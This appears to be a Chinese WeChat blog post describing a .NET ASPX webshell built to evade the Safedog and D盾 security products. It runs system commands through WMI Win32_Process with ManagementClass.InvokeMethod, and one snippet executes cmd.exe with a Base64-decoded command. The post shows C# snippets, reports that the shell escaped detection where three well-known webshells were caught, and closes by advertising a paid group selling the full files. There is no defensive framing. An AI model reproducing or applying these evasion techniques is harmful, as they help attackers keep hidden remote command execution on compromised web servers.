dotNet安全矩阵星球圈友们组成的微信群里大家伙常常聊着.NET话题,这不今天有个群友问.NET WebShell 绕过和免杀的方法,.NET下通常用其他的类和方法触发命令执行Bypass安全狗和D盾,本文介绍基于WMI win32_Process实现免杀Webshell
0x01 ManagementClass.InvokeMethod
在.NET平台下使用ManagementClass类的初始方法加载WMI Win32_Process创建系统进程,通过Create方法启动新的进程,设置参数methodArgs数组的值为calc.exe,因为后面几个是可选参数,可省略成 object[] methodArgs = { “calc.exe” };
ManagementClass processClass = new ManagementClass("\root\cimv2:Win32_Process");
object[] methodArgs = { "cmd.exe " + DecodeBase64("utf-8",ExecCode)};
object result = processClass.InvokeMethod("Create", methodArgs);
另外ManagementClass初始方法还可以指定WMI命名空间rootcimv2的方式调用Create方法,InvokeMethod还提供了两个带有ManagementOperationObserver类的重载方法,用于管理异步接收的管理信息和事件,在代码中直接实例化该对象
ManagementClass processClass = new ManagementClass("\root\cimv2:Win32_Process");
object[] methodArgs = { "calc.exe" };
processClass.InvokeMethod(new ManagementOperationObserver(), "Create", methodArgs);
还有ManagementClass的GetMethodParameters方法 返回一个新进程的ManagementBaseObject类,传递参数给CommandLine 成功启动calc
ManagementBaseObject inParams = processClass.GetMethodParameters("Create");
inParams["CommandLine"] = "calc.exe";
ManagementBaseObject outParams = processClass.InvokeMethod("Create", inParams, null);
笔者改用aspx页面编写Webshell,同时设计了主机进程、主机信息采集、主机目录文件访问等功能
用安全狗测试免杀效果,同目录下还有另外3个文件,aspx.aspx 是经典Jscript一句话木马,aspxspy.aspx 看文件名就知道是经典大马,xls.aspx 是基于xml文档实现的小马,对比被杀的3个Webshell,ManagementClass.InvokeMethod文件免杀效果非常理想,如下图
0x02 结语
文章涉及的PDF和文件已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,经过星球运营团队投票商议决定星球价格优惠活动持续进行,星球价格直接给到星球 [最低起步价¥50] ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
原文始发于微信公众号(dotNet安全矩阵):.NET WebShell 免杀系列之win32_Process